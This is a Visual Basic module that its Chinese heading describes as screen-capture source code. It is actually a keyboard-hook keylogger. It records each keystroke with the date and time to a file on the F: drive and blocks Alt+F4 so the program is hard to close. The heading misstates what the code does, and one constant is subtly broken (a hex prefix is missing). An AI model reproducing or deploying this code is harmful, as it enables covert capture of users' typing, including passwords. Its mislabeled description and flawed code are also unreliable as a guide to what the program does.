module1.bas

截取屏幕VB源码.无密码.可截取图片等.

Attribute VB_Name = "Module1"
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    
  Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
    
  Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, _
  ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
    
  Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, _
  ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
   Global hHook As Long
  Public Const WH_KEYBOARD = 2
  Public Const KBH_MASK = &H20000000
  Public Const WM_LBUTTONDOWN = &H201
  Public Const WM_LBUTTONUP = &H202


'具体的钩子程序，本例中该过程被包含在Module1中
Public Function MyKBHook(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If nCode >= 0 Then
Open "f:\Keyfile.txt" For Append As #1 '将键盘的操作记录在Keyfile.txt文件之中
'记录所操作的键、操作时间、日期操作时的按键状态，用16进制记录
Write #1, wParam, Hex(lParam), Date, Time
Close #1
MyKBHook = 0 '表示要处理这个消息
'屏蔽ＡＬＴ+Ｆ4组合键
If wParam = 115 And (lParam And H20000000) <> 0 Then
If (lParam And &HC000000) = 0 Then '是否进行ALT+F4操作
MyKBHook = 1 '钩子吃掉这个消息
End If
End If
End If
Call CallNextHookEx(hHook, nCode, wParam, lParam) '将消息传给下一个钩子
End Function
'程序退出时卸载钩子